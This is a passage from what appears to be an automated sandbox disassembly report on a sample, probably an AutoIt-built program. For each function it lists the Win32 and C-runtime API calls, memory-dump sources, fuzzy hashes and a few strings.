SendMessageW.USER32(?,000000B0,?,?), ref: 0074C285
SendMessageW.USER32(?,000000C9,?,00000000), ref: 0074C297
SendMessageW.USER32(?,000000C9,?,00000000), ref: 0074C2AD
SendMessageW.USER32(?,000000C9,?,00000000), ref: 0074C2C8

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: b1ef17862e45c2153ff5ab287a0181243c1a702c9e14405122c45a19b006976d
Instruction ID: 5ddb4c699ca8def4bd512126dafcc6cc6db056437a2cd536b3433d7b9fb72e5d
Opcode Fuzzy Hash: b1ef17862e45c2153ff5ab287a0181243c1a702c9e14405122c45a19b006976d
Instruction Fuzzy Hash: 9B11187A941218FFDB11DFD8C885E9DBBB4FB08750F204091EA04B7294D7B1AE10DB94

Function 00757C45 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00757C6C
MessageBoxW.USER32(?,?,?,?), ref: 00757C9F
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00757CB5
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00757CBC

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: dcbb413007674b22e5a5e08fd5ab650a874b1e5dcb6b6c5ea85d6c64ff5193af
Instruction ID: c184ad39b3ad40c9f79d65224c8b91876596d1cd4b50ae994e8916758d57498f
Opcode Fuzzy Hash: dcbb413007674b22e5a5e08fd5ab650a874b1e5dcb6b6c5ea85d6c64ff5193af
Instruction Fuzzy Hash: 1E112B72A05248BFD7519FACEC08AEA7FBD9B04325F148216F925D3291D6BC8D08C775

Function 0072C619 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0072C657
GetStockObject.GDI32(00000011), ref: 0072C66B
SendMessageW.USER32(00000000,00000030,00000000), ref: 0072C675

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: eaeba0646df780670558588c4779085d676ad99a3c655b257ffd6b9879c58950
Instruction ID: 0c484d2ec497bd0837b7d26c148118fd739e297a5de20258e250c5962ff80ae2
Opcode Fuzzy Hash: eaeba0646df780670558588c4779085d676ad99a3c655b257ffd6b9879c58950
Instruction Fuzzy Hash: F411C072501659BFDF128FA0EC45EEEBB69FF183A4F054212FA0452020C73ADC60EBA4

Function 007549D1 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,0075354D,?,007545D5,?,00008000), ref: 007549EE
Sleep.KERNEL32(00000000,?,?,?,?,?,?,0075354D,?,007545D5,?,00008000), ref: 00754A13
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,0075354D,?,007545D5,?,00008000), ref: 00754A1D
Sleep.KERNEL32(?,?,?,?,?,?,?,0075354D,?,007545D5,?,00008000), ref: 00754A50

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 76d027ef8a1b09908459926d4717f2c6a7e54c84a49adc23b78949421a0b6a2f
Instruction ID: 2fa6de9eb6b45b487632d926074a5d101ccbd6fb63123dc73f2e4f3348285c3c
Opcode Fuzzy Hash: 76d027ef8a1b09908459926d4717f2c6a7e54c84a49adc23b78949421a0b6a2f
Instruction Fuzzy Hash: CE113C71D4052CDBCF10EFA5D989AEEBB78FF08716F018056ED41B2240CB789995CB99

Function 00745BA2 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00745BC6

Part of subcall function 007462A5: __fltout2.LIBCMT ref: 007462CE

__cftog_l.LIBCMT ref: 00745BEC
__cftoe_l.LIBCMT ref: 00745C1E

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
Instruction ID: 5328dba804a681ee7d0813136f8fb23ad11e15edb4ac99737edd7803702a6866
Opcode Fuzzy Hash: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
Instruction Fuzzy Hash: C6014B7240064EFBCF125E84DC45CEE3F62FB19350B588815FA1859032D33ACAB1AB92

Function 007380E2 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0073869D: __getptd_noexit.LIBCMT ref: 0073869E

__lock.LIBCMT ref: 0073811F
InterlockedDecrement.KERNEL32(?), ref: 0073813C
_free.LIBCMT ref: 0073814F
InterlockedIncrement.KERNEL32(017739F0), ref: 00738167

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Interlocked$DecrementIncrement__getptd_noexit__lock_free
String ID:
API String ID: 2704283638-0
Opcode ID: 48a1f063176da4dd47060baacd40e0a7ff34c0986d566138b7782dadbfc7a90d
Instruction ID: 12a2e04f04718182c26f7759da545969b9db3939193c82663c1831ae0d2227c3
Opcode Fuzzy Hash: 48a1f063176da4dd47060baacd40e0a7ff34c0986d566138b7782dadbfc7a90d
Instruction Fuzzy Hash: 84016D71901729EBEBA5AF74980AB99B360BF04715F04411DF81467293CF3C6942CBD7

Function 00738724 Relevance: 6.0, APIs: 4, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00738768

Part of subcall function 00738984: __mtinitlocknum.LIBCMT ref: 00738996
Part of subcall function 00738984: RtlEnterCriticalSection.NTDLL(00730127), ref: 007389AF

InterlockedIncrement.KERNEL32(DC840F00), ref: 00738775
__lock.LIBCMT ref: 00738789
___addlocaleref.LIBCMT ref: 007387A7

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: __lock$CriticalEnterIncrementInterlockedSection___addlocaleref__mtinitlocknum
String ID:
API String ID: 1687444384-0
Opcode ID: 0a2984297bcd69883696b5d4decb655e82770d0c9a1f2650be634c9535382ccd
Instruction ID: 24d9f1a8e48ccf9cff8fc04c60899257b8e51f6cdb4c4ffed84f614de366a93c
Opcode Fuzzy Hash: 0a2984297bcd69883696b5d4decb655e82770d0c9a1f2650be634c9535382ccd
Instruction Fuzzy Hash: 9F016DB1400B00EFE760EFB5D809759F7F0AF40725F20890EF099972A2CB78A640CB02

Function 00759C73 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 00759C7F

Part of subcall function 0075AD14: _memset.LIBCMT ref: 0075AD49

_memmove.LIBCMT ref: 00759CA2
_memset.LIBCMT ref: 00759CAF
RtlLeaveCriticalSection.NTDLL(?), ref: 00759CBF

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: f4227cbb82420f7f51c94ccbe0307d43b2e3a3328583be32a93988be9d98a58e
Instruction ID: 1ab14ac3b8d59fa422e61a935c0023abcb7a211546a5f9cb4acdbf1f6a68f60b
Opcode Fuzzy Hash: f4227cbb82420f7f51c94ccbe0307d43b2e3a3328583be32a93988be9d98a58e
Instruction Fuzzy Hash: 6EF03076201100ABCB016F54EC89A99BB29EF45311F08C062FE085E217C779E815DBF5

Function 0077E83C Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 0072B58B: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 0072B5EB
Part of subcall function 0072B58B: SelectObject.GDI32(?,00000000), ref: 0072B5FA
Part of subcall function 0072B58B: BeginPath.GDI32(?), ref: 0072B611
Part of subcall function 0072B58B: SelectObject.GDI32(?,00000000), ref: 0072B63B

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0077E860
LineTo.GDI32(00000000,?,?), ref: 0077E86D
EndPath.GDI32(00000000), ref: 0077E87D
StrokePath.GDI32(00000000), ref: 0077E88B

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: e12f8dbff93f623b8efb350342c95c285c529ea6bd87a252ff30f074ba7a06ec
Instruction ID: c06400ed50fdf15aae20352c7805c1dbfd782977faca6ea4f30b793293313b8b
Opcode Fuzzy Hash: e12f8dbff93f623b8efb350342c95c285c529ea6bd87a252ff30f074ba7a06ec
Instruction Fuzzy Hash: C6F08931001259B7DB225F54AC0EFCE3F596F09311F04C142FA15250E1877D5952DF99

Function 0074D623 Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 0074D640
GetWindowThreadProcessId.USER32(?,00000000), ref: 0074D653
GetCurrentThreadId.KERNEL32 ref: 0074D65A
AttachThreadInput.USER32(00000000), ref: 0074D661

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: b1be8043f5515a72265158bd8b4970e7bd3c5e7bd62dd0e9e478eb69a767ed1a
Instruction ID: 3e7e1d52ee89bbc3808590491d5e0b325026eee95323b76f25772f4ccf4fd2c9
Opcode Fuzzy Hash: b1be8043f5515a72265158bd8b4970e7bd3c5e7bd62dd0e9e478eb69a767ed1a
Instruction Fuzzy Hash: 1FE03932141228BADB301BA29C0DEDB7F2CEF117E1F008012B54C85060CB799D81CBA8

Function 0072B0AC Relevance: 6.0, APIs: 4, Instructions: 22COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 0072B0C5
SetTextColor.GDI32(?,000000FF), ref: 0072B0CF
SetBkMode.GDI32(?,00000001), ref: 0072B0E4
GetStockObject.GDI32(00000005), ref: 0072B0EC
GetWindowDC.USER32(?,00000000), ref: 0078ECFA
GetPixel.GDI32(00000000,00000000,00000000), ref: 0078ED07
GetPixel.GDI32(00000000,?,00000000), ref: 0078ED20
GetPixel.GDI32(00000000,00000000,?), ref: 0078ED39
GetPixel.GDI32(00000000,?,?), ref: 0078ED59
ReleaseDC.USER32(?,00000000), ref: 0078ED64

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 325ce6be7c5cf35923134e529fa9f6855c924762600251b125be3af033c3b27d
Instruction ID: 813777a0f915cbe83f34952af148fde2a1c0cb94b93536dc5258bc29773fae83
Opcode Fuzzy Hash: 325ce6be7c5cf35923134e529fa9f6855c924762600251b125be3af033c3b27d
Instruction Fuzzy Hash: CFE06D32540244AEEB315F74AC4D7983B21AB45335F00C226F769580E2C3794942CB21

Function 0078C0A0 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0078C0A0
GetDC.USER32(00000000), ref: 0078C0AA
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0078C0C9
ReleaseDC.USER32 ref: 0078C0E8

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: f463c616dadd911c6362bb752568a5fce56937d14a651be5515060470aca5606
Instruction ID: da621cc5ccf7453445b81455fb14cebb934498c8a823e8297e6982b3ef4f3f7e
Opcode Fuzzy Hash: f463c616dadd911c6362bb752568a5fce56937d14a651be5515060470aca5606
Instruction Fuzzy Hash: C8E04FB1500210EFDB206F71DC4C6693BB5EB4C3A0F11C406FD4A87211DA7C9D828B14

Function 0078C0B4 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0078C0B4
GetDC.USER32(00000000), ref: 0078C0BE
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0078C0C9
ReleaseDC.USER32 ref: 0078C0E8

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: d52ab38afc036f599a12013945db31bb774a85deedf6f9f6e92bc99038aaa78e
Instruction ID: 3ea0d5af236cd2dd5de105ac1299ec989978a68f9a329d5f53a55030f700966e
Opcode Fuzzy Hash: d52ab38afc036f599a12013945db31bb774a85deedf6f9f6e92bc99038aaa78e
Instruction Fuzzy Hash: 46E046B1500210EFDB206F71DC4C6693BB9EB4C3A0F11C406F94A8B211DBBC9D828B04

Function 00792350 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 475COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 007167D0

Strings

DEFINE, xrefs: 0079265C
>, xrefs: 00792414

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _memmove
String ID: >$DEFINE
API String ID: 4104443479-1664449232
Opcode ID: b55aa93d5d0b645abb4e8c52d559b2cd93622cd6e7407b4edad53f82babe0875
Instruction ID: 75e225f98f4eab24fe255ff2d4a4442706e4744d97256234dd08f49699919388
Opcode Fuzzy Hash: b55aa93d5d0b645abb4e8c52d559b2cd93622cd6e7407b4edad53f82babe0875
Instruction Fuzzy Hash: 91125E75A00209DFCF24DF58D490AEDB7B1FF48310F25815AE855AB395E738AD82CB90

Function 0074EAD5 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 240comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 0074ECA0

Strings

Container, xrefs: 0074EC1F
AutoIt3GUI, xrefs: 0074EC18

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: a123ec687044b4404167cf85ef3c730ded3bfcb9911bf273af6a7ae241d28103
Instruction ID: 05d9b2c3b414841e0baf86544dfd255fb6894457e8c51be86b989b1bba2fe520
Opcode Fuzzy Hash: a123ec687044b4404167cf85ef3c730ded3bfcb9911bf273af6a7ae241d28103
Instruction Fuzzy Hash: 3A9108B4600701EFDB14DF64C884B6ABBA5FF49720F24856DE94ADB291DB78E841CB60

Function 0075E704 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 200shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00713BCF: _wcscpy.LIBCMT ref: 00713BF2

Part of subcall function 007184A6: __swprintf.LIBCMT ref: 007184E5
Part of subcall function 007184A6: __itow.LIBCMT ref: 00718519

__wcsnicmp.LIBCMT ref: 0075E785
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 0075E84E

Strings

LPT, xrefs: 0075E77F

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: e176212a5352c9ec20845962fa292ff096577a89a7143a1f1a2aa6eca85d9e72
